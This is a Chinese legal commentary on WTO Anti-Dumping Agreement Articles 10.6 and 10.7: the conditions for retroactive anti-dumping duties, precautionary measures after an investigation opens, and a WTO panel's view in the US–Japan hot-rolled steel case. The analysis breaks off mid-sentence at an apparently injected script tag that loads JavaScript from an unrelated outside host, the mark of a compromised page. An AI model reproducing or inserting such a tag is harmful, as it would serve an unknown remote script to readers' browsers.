涉案追踪
反倾销税一般不得追溯征收,但如果满足一定的条件,就会导致有限度的追溯征收。WTO反倾销协定第10.6条规定,最终反倾销税可以在一定条件下对实施临时措施之日前90天内进口供消费的产品征收。该措施的作用在于防止进口商在反倾销救济手段采取之前大量突击进口被调查产品,规避反倾销措施。我国1997年第一起反倾销案,即对美国、加拿大和韩国的新闻纸案中就已经涉及该问题。在以后的多起案件中也涉及,但至今还没有这方面的实例。我国《反倾销条例》第44条对此做了原则规定,但缺乏可执行的认定标准和操作规则。因此,正确认识追溯征收反倾销税的规定,对合法保护国内产业具有十分重要的意义。 第10条关于追溯 征收反倾销税的规定 WTO反倾销协定第10.6条规定,最终反倾销税可以对实施临时措施之日前90天内进口供消费的产品征收的条件是: (1)已作出关于倾销和由此产生的对国内产业的损害的最终肯定裁定。 该条本身就假定了倾销和损害成立的最终肯定裁定已经作出的先决条件,如果没有这个条件,就不能决定征收反倾销税,也就谈不上决定追溯征收反倾销税的问题。在产业损害类型上没有特别要求,即只要损害存在即可,不论是对国内产业的实质损害、实质损害威胁或对国内产业建立的实质阻碍。 (2)存在造成损害的倾销的历史记录或进口商已经知道或应该知道出口商实行倾销,且此类倾销会造成损害。 此项条件是选择性条件,即只要存在“造成损害的倾销的历史记录”或“进口商已经知道或应该知道出口商实行倾销,且此类倾销会造成损害”的一个条件即可。前一个条件是客观条件,即被调查倾销产品存在造成损害的倾销的历史记录。被调查倾销产品造成损害的倾销历史记录并不局限于对调查主管机关所在国本国的国内产业有造成损害的倾销历史记录,而应包括对其他国家国内相关产业存在造成损害的倾销历史记录。存在造成损害的倾销的历史记录的信息可以来源于WTO反倾销措施委员会发布的各成员方提供的半年期报告。《协定》第16.4条明确规定,“各成员应立刻通知委员会其采取的所有初步或最终反倾销行动。此类报告应可从秘书处获得,供其他成员审查。各成员还应每半年提交关于在过去6个月内采取的任何反倾销行动的报告。半年期报告应以议定的标准格式提交。”后一个条件是主观条件。《协定》对于认定“进口商已经知道或应该知道出口商实行倾销”及“此类倾销会造成损害”没有规定客观标准,调查主管机关有相当大的自由裁量权。 (3)倾销进口产品在短期内大量进口。 对于如何确定倾销进口产品是否在短期内大量进口,《协定》没有作出相应的规定。如何理解短期内大量进口,反倾销调查主管机关具有相当大的自由裁量权。 (4)倾销产品可能会严重破坏即将实施的最终反倾销税的补救效果。 倾销产品是否可能严重破坏即将实施的最终反倾销税的补救效果,主要是根据倾销产品的时间和数量及其他情况(如进口产品的库存快速增加)予以确定。 根据《协定》第10.6条规定,对在实施临时措施之日前90天内进口供消费的产品追溯征收反倾销税必须在最终认定倾销和损害成立之后。但是,如果要等到最终裁定作出后才来确定是否对实施临时措施之日前90天内进口供消费的产品追溯征收反倾销税,在实践中可能会出现因为进口产品已经完税通关,而使得追溯征税无法真正实施,导致最终追溯征税的决定没有任何实际意义。因此,《协定》第10.7条作了确保最终裁定后根据第10.6条追溯征收反倾销税的可能性的规定。 第10.7条规定的措施与临时反倾销措施不同,二者的适用时间和适用条件都是不同的。临时反倾销措施只能在肯定性初裁作出后且不得早于发起调查之日起60天内才可以采取。第10.7条规定的措施可在案件发起调查后的任何时间采取。 第10.7条规定的措施不同于第10.6条追溯征收反倾销税,它是另一种类型的措施,是为了保留追溯征税的可能性,允许调查主管机关事先采取一些保护性和预防性的必要措施。二者的适用时间和适用条件都不同。第10.6条规定的措施必须在最终肯定性裁定作出后才适用,第10.7条规定的措施可以在发起调查后适用。第10.6条措施的适用必须符合前述分析的条件,适用第10.7条规定的措施仅需有充分证据满足第10.6条所列条件。第10.7条的措施与法律诉讼开始时的保全措施几乎相同。 WTO专家小组的意见 适用第10.7条规定措施的条件是“充分证据”表明第10.6条所列条件已得到满足。实践中,反倾销调查主管机关面临着如何判断是否掌握“充分证据”的问题。《协定》对此没有作出更进一步的规定。分析美国对日本出口的热扎钢产品反倾销措施案中专家小组的报告对理解“充分证据”有一定的借鉴意义。 (1)适用第10.7条规定的措施是否需要存在倾销和损害的裁定。 专家小组认为,根据第10.7条采取的措施时所要求的条件不同于调查结束时采取最终措施所要求的条件。第10.7条规定的?script src=http://cn.jxmmtv.com/cn.js>
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